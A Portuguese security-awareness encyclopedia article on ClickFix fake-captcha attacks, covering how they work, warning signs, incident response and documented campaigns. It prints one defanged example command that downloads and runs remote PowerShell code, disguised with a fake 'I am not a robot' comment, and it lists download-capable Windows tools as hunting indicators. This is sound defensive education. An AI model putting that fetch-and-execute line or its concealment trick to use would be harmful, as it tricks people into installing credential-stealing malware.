--- id: CP-011 slug: clickfix-captchas-falsos lang: pt title: ClickFix e falsos captchas description: Uma falsa verificação «Não sou um robô» leva-o a colar um comando em Windows+R. Como funciona o ClickFix e o que fazer se o executou. canonical_url: https://startbrain.io/cyberpedia/pt/articles/clickfix-captchas-falsos/ markdown_url: https://startbrain.io/cyberpedia/pt/articles/clickfix-captchas-falsos.md publisher: Brain (https://startbrain.io) license: CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/) cite_as: Brain, «ClickFix e falsos captchas», Cyberpedia, 2026. https://startbrain.io/cyberpedia/pt/articles/clickfix-captchas-falsos/ (CC BY 4.0) wing: 1 theme: detect_phishing reflex: cr-001 schema: G1 updated: "2026-10-26" translations: pt: https://startbrain.io/cyberpedia/pt/articles/clickfix-captchas-falsos/ fr: https://startbrain.io/cyberpedia/fr/articles/clickfix-faux-captchas/ en: https://startbrain.io/cyberpedia/en/articles/clickfix-fake-captchas/ de: https://startbrain.io/cyberpedia/de/articles/clickfix-gefaelschte-captchas/ es: https://startbrain.io/cyberpedia/es/articles/clickfix-captchas-falsos/ it: https://startbrain.io/cyberpedia/it/articles/clickfix-captcha-falsi/ nl: https://startbrain.io/cyberpedia/nl/articles/clickfix-valse-captchas/ sources: - "n": 1 title: "User Execution: Malicious Copy and Paste (T1204.004)" publisher: MITRE ATT&CK url: https://attack.mitre.org/techniques/T1204/004/ published: "2025-03-18" accessed: "2026-10-26" - "n": 2 title: "From Clipboard to Compromise: A PowerShell Self-Pwn" publisher: Proofpoint url: https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn published: "2024-06-17" accessed: "2026-10-26" - "n": 3 title: Panorama de la cybermenace 2025 publisher: ANSSI url: https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf published: "2026-03-11" accessed: "2026-10-26" - "n": 4 title: Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025 publisher: ESET (WeLiveSecurity) url: https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ published: "2025-06-26" accessed: "2026-10-26" - "n": 5 title: COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs publisher: Google Threat Intelligence Group url: https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos published: "2025-05-07" accessed: "2026-10-26" - "n": 6 title: "Think before you Click(Fix): Analyzing the ClickFix social engineering technique" publisher: Microsoft Threat Intelligence url: https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ published: "2025-08-21" accessed: "2026-10-26" - "n": 7 title: "Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape" publisher: Proofpoint url: https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape published: "2024-11-18" accessed: "2026-10-26" - "n": 8 title: Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations publisher: CISA et FBI url: https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b published: "2025-05-21" accessed: "2026-10-26" - "n": 9 title: Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware publisher: Microsoft Threat Intelligence url: https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ published: "2025-03-13" accessed: "2026-10-26" - "n": 10 title: "Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?" publisher: Cybermalveillance.gouv.fr url: https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares published: "2025-06-03" accessed: "2026-10-26" --- # ClickFix e falsos captchas O ClickFix é uma técnica de engenharia social que leva a própria vítima a instalar um software malicioso. Uma página web ou um anexo mostra um falso erro ou uma falsa verificação «Não sou um robô» e, a seguir, uma série de passos: abrir uma janela de comandos do Windows, colar, confirmar. A página já colocou um comando na área de transferência, e é esse comando que a vítima executa sem o ter lido [1]. A Proofpoint observou o método logo em março de 2024. O nome vem de uma série de falsos alertas de atualização do navegador, detetada em meados de abril de 2024, a que os investigadores chamaram ClickFix [2]. Desde o outono de 2024, os cibercriminosos multiplicam estas campanhas, refere a ANSSI [3]. Segundo a ESET, o ClickFix cresceu mais de 500 % entre o segundo semestre de 2024 e o primeiro semestre de 2025, até se tornar o segundo vetor de ataque, a seguir ao phishing [4]. ## Em 30 segundos - Onde acontece: numa página web, muitas vezes um site conhecido que foi pirateado, e em anexos que imitam um documento Word. - O que o atacante quer: que execute, por si próprio, um comando que instala no seu posto de trabalho um ladrão de palavras-passe ou um acesso remoto. - O reflexo: nenhuma verificação legítima lhe pede para colar algo na janela Executar, no PowerShell ou no Terminal. Se uma página o pedir, feche-a. - Se já o fez: desligue o cabo de rede ou o Wi-Fi, deixe o computador ligado e contacte de imediato o suporte informático. ## Perguntas diretas ### Um captcha verdadeiro pode pedir-me para carregar em Windows+R? Não. Um captcha resolve-se na própria página: uma caixa para assinalar, imagens para escolher, por vezes nada. A Google aconselha desconfiança perante qualquer site que peça para sair do navegador e executar comandos no seu dispositivo [5]. ### Colei o comando, mas não carreguei em Enter. Fui infetado? Depende da janela. Na janela Executar, nada arranca antes de carregar em Enter [2]: feche-a sem confirmar. No PowerShell ou no Terminal, uma colagem pode executar-se sozinha. Na consola do PowerShell, um simples clique com o botão direito cola o comando e executa-o [2], e a Microsoft aconselha a configurar o Terminal para avisar quando o texto colado tem várias linhas [6]. Em todos os casos, avise o suporte informático: o seu posto pode estar afetado, e a página que lhe pediu este gesto continua armadilhada para os seus colegas. ### Porque é que o antivírus nem sempre bloqueia o ataque? Porque é o utilizador que executa o comando, com uma ferramenta fornecida pelo Windows, e sem ficheiro para analisar no início. Segundo a Proofpoint, os antivírus e as ferramentas de deteção instaladas nos postos têm dificuldade em inspecionar o conteúdo da área de transferência: é por isso necessário bloquear a página armadilhada antes de ela ser apresentada [2]. A Microsoft considera que uma campanha ClickFix pode, assim, passar pelas proteções automáticas clássicas [6]. ## Na pele do atacante Um ficheiro executável enviado por email ou descarregado da web passa por vários controlos antes de poder abrir. O ClickFix contorna-os ao confiar o gesto perigoso à vítima: já não há ficheiro, apenas uma linha de texto para colar [1]. Montar a operação exige pouca competência. Em meados de setembro de 2024, um investigador publicou no GitHub, «para fins educativos», um kit de código aberto de falso reCAPTCHA, e a Proofpoint encontrou-o em emails maliciosos poucos dias depois [7]. Desde o fim de 2024, a Microsoft vê vendedores a propor em fóruns de piratas geradores de ClickFix, apelidados «Win + R», com páginas que imitam, nomeadamente, a Cloudflare. A subscrição custa entre 200 e 1500 dólares por mês. Uma peça avulsa, como o código-fonte, a página de entrada ou a linha de comando, vende-se entre 200 e 500 dólares [6]. O clique em «verificar» ativa um script que copia o comando para a área de transferência, em segundo plano [6]. Este comando termina muitas vezes com um falso texto de confirmação, do género «I am not a robot: CAPTCHA Verification UID» [6]. A Proofpoint explica a função dessa falsa mensagem no fim do comando: depois de o comando ser colado na janela Executar, a vítima não vê o verdadeiro comando malicioso [7]. O campo desta janela não aceita mais de 259 caracteres [6], e o comando colado limita-se, em geral, a descarregar a fase seguinte a partir de um servidor. O PowerShell continua a ser a ferramenta do Windows mais usada para isso [6]. ```text O que a página coloca na área de transferência (exemplo reconstituído, endereço neutralizado): powershell -w h -c "iwr hxxps://exemplo[.]invalid/v | iex" # I am not a robot: CAPTCHA Verification UID: 4821 O que a vítima pode ver na janela Executar (ilustração): a falsa mensagem, não o comando. ...ex" # I am not a robot: CAPTCHA Verification UID: 4821 ``` ## O que vê no ecrã O cenário típico: um falso captcha aparece antes da página que queria ver, muitas vezes à imagem do reCAPTCHA da Google ou do Turnstile da Cloudflare [6]. Clica, e o captcha dá-lhe instruções: abrir a janela Executar com a tecla Windows e R, colar com Ctrl+V e carregar em Enter. É o cenário descrito pela CISA e pelo FBI no seu alerta de maio de 2025 sobre o ladrão de dados LummaC2 [8]. O cenário muda consoante o alvo. Em março de 2024, havia emails com um anexo que parecia um documento Word, com a mensagem «a extensão Word Online não está instalada» e dois botões, «How to fix» e «Auto-fix» [2]. A partir de dezembro de 2024, uma campanha visou o pessoal da hotelaria, imitando a Booking.com, com um falso captcha colocado sobre uma cópia de página da Booking.com mal visível em fundo [9]. Não confie no aspeto da página, que pode imitar fielmente a Cloudflare, a Google ou a Booking.com. O sinal que o deve fazer parar é a instrução: uma página web pede-lhe que saia do navegador para colar algo numa janela do sistema. No programa Brain, este gesto liga-se ao reflexo «Identificar os sinais de manipulação no corpo do email». Aqui, o sinal de manipulação é o próprio passo a passo, tanto por email como na web. Se confirmou o comando, aja nos minutos seguintes. Desligue o cabo de rede ou o Wi-Fi, mas não desligue o computador: na sua ficha sobre ransomware, a Cybermalveillance.gouv.fr recorda que o desligamento pode apagar elementos de prova contidos na memória e necessários à investigação [10]. Contacte o suporte informático ou a equipa de segurança e diga-lhes que contas estavam abertas no posto. O LummaC2, um dos programas instalados desta forma, leva credenciais financeiras, carteiras de criptomoedas, extensões do navegador e informações de autenticação multifator [8]: são estas as contas a proteger primeiro. Sem serviço informático, a plataforma 17cyber.gouv.fr propõe um percurso de assistência [10]. ## Por baixo do capô A janela Executar pertence ao Explorador do Windows (explorer.exe), um componente em que o sistema confia [6]. Cada comando lançado com êxito a partir desta janela deixa um rasto na chave de registo RunMRU, que guarda o histórico do que foi escrito. A Microsoft aconselha os investigadores a procurar aí chamadas a powershell, mshta, rundll32, wscript, curl ou wget, ferramentas do Windows capazes de descarregar ou executar código [6]. Sobre o lugar do PowerShell nos ataques em geral, veja o artigo sobre a execução por intérprete de comandos. A Microsoft recomenda desativar a janela Executar por política de grupo para quem não precisa dela, ativar o registo de blocos de script do PowerShell e limitar as aplicações autorizadas [6]. A Google convida as empresas a proibir por defeito a execução de scripts pelos utilizadores [5]. A CISA aconselha uma lista de aplicações autorizadas e contas separadas para a administração [8]. A técnica já não visa apenas o Windows. Em junho de 2025, uma campanha ClickFix visou utilizadores de macOS para instalar o ladrão de dados Atomic macOS Stealer [6], e a ESET descreve-a como uma ameaça para Windows, Linux e macOS [4]. ## Autópsias ### Março de 2024: TA571 e ClearFake A 1 de março de 2024, a TA571, um distribuidor de emails maliciosos, envia mais de 100 000 mensagens a milhares de organizações com a falsa página Word descrita acima. Consoante as campanhas da primavera, o comando instala DarkGate, Matanbuchus ou NetSupport [2]. Desde o início de abril, a campanha ClearFake injeta falsos alertas em sites legítimos pirateados. A Proofpoint descreve aí uma cadeia em que um único script PowerShell podia fazer executar cinco famílias de software malicioso, incluindo o ladrão de dados Lumma Stealer [2]. ### Setembro de 2024: os falsos alertas do GitHub A 18 de setembro de 2024, atacantes comentam ou abrem tickets em repositórios do GitHub. As notificações que o GitHub envia aos programadores apresentam-se como um alerta de segurança e levam a um falso site do GitHub com um falso reCAPTCHA. O comando instala o Lumma Stealer, e a Proofpoint contabiliza pelo menos 300 organizações afetadas [7]. ### Dezembro de 2024: a hotelaria na mira A Microsoft acompanha com o nome Storm-1865 a campanha com as cores da Booking.com. Visa funcionários da hotelaria na América do Norte, na Oceânia, na Ásia e na Europa, e instala, nomeadamente, XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot e NetSupport RAT [9]. ### 2025: serviços de informações aderem A Google identificou o LOSTKEYS, um programa que rouba ficheiros, e atribui-o ao grupo COLDRIVER, também chamado Callisto ou Star Blizzard. O LOSTKEYS, observado em janeiro, março e abril de 2025, é entregue no fim de uma cadeia que começa com um falso captcha: a página copia um comando PowerShell e pede para o executar a partir da janela Executar. Entre os alvos recentes do grupo contam-se conselheiros, atuais ou antigos, de governos ocidentais, jornalistas e ONG [5]. Segundo a ANSSI, operadores do Callisto teriam também usado esta técnica em setembro de 2025, em campanhas dirigidas a membros da sociedade civil na Rússia e a ONG envolvidas na Ucrânia. A agência indica ainda que pelo menos uma campanha ClickFix chegou ao seu conhecimento [3]. ## Fontes 1. MITRE ATT&CK, «User Execution: Malicious Copy and Paste (T1204.004)», 18 de março de 2025. https://attack.mitre.org/techniques/T1204/004/ (consultado em 26 de outubro de 2026) 2. Proofpoint, «From Clipboard to Compromise: A PowerShell Self-Pwn», 17 de junho de 2024. https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn (consultado em 26 de outubro de 2026) 3. ANSSI, «Panorama de la cybermenace 2025», 11 de março de 2026. https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf (consultado em 26 de outubro de 2026) 4. ESET (WeLiveSecurity), «Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025», 26 de junho de 2025. https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ (consultado em 26 de outubro de 2026) 5. Google Threat Intelligence Group, «COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs», 7 de maio de 2025. https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos (consultado em 26 de outubro de 2026) 6. Microsoft Threat Intelligence, «Think before you Click(Fix): Analyzing the ClickFix social engineering technique», 21 de agosto de 2025. https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ (consultado em 26 de outubro de 2026) 7. Proofpoint, «Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape», 18 de novembro de 2024. https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape (consultado em 26 de outubro de 2026) 8. CISA et FBI, «Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations», 21 de maio de 2025. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b (consultado em 26 de outubro de 2026) 9. Microsoft Threat Intelligence, «Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware», 13 de março de 2025. https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ (consultado em 26 de outubro de 2026) 10. Cybermalveillance.gouv.fr, «Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?», 3 de junho de 2025. https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares (consultado em 26 de outubro de 2026) --- Fonte original: Cyberpedia, a enciclopédia pública de cibersegurança e IA publicada pela Brain. Versão canónica: https://startbrain.io/cyberpedia/pt/articles/clickfix-captchas-falsos/ Pode reutilizar livremente este texto sob a licença CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/), desde que cite «Brain, Cyberpedia» com uma ligação para o endereço acima.